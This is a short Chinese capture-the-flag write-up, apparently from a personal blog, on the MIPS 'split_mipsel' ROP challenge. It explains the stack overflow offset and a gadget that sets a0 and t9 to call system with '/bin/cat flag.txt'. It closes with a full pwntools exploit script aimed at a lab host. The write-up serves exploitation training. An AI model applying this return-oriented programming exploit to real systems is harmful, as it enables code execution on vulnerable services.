OneShell

I fight for a brighter tomorrow

0%

split_mipsel

这道题目的本质是如何让ROP去执行system,同时将命令/bin/cat flag.txt的地址传递给system函数。
漏洞的溢出点还是非常简单,缓冲区位于:sp+18h,ra中的函数返回地址保存在:sp + 3ch,填充24h个数据后,开始覆盖掉返回地址。
那么需要找个一个gadget可以控制a0寄存器,随后可以执行到system函数,非常巧的是,在该题目ELF中塞入了一个这样的gadget:

1
2
3
4
5
.text:00400A20                               usefulGadgets:
.text:00400A20 08 00 A4 8F lw $a0, 8($sp)
.text:00400A24 04 00 B9 8F lw $t9, 4($sp)
.text:00400A28 09 F8 20 03 jalr $t9
.text:00400A2C 00 00 00 00 nop

此时的问题就是如何控制命令地址和system函数的地址分别到sp+8和sp+4上。
当控制流被劫持的时候,此时sp已经完成了堆栈平衡,此时的sp相对溢出缓冲区起始地址的距离是40h-18h=28h,那么可以将命令地址和system函数地址布置到sp+8和sp+4,也就是相对溢出缓冲区28h+8和28h+4的位置,小结如下:

相对溢出缓冲区的布局:

  • 24h后的4个字节=gadget位置,写完了28h个字节
  • 28h+4=2ch后的4个字节=system函数地址,写完了30h个字节
  • 28h+8=30h后的4个字节=/bin/cat/ flag.txt的地址
    中间无用的数据使用任意字节填充,得到ROP如下:
    1
    2
    3
    4
    5
    rop = b"A" * 0x24
    rop += p32(0x00400A20) # gadget
    rop += b"B" * 4
    rop += p32(0x004110CC)
    rop += p32(0x00411010)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

BINARY = "./split_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

rop = b"A" * 0x24
rop += p32(0x00400A20)
rop += b"B" * 4
rop += p32(ELF.symbols["system"])
rop += p32(0x00411010)

with open("raw", "wb") as f:
f.write(rop)

p = remote("10.0.0.2", 8888)
p.recv()
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

#qu gdb运行到分支、运行到函数返回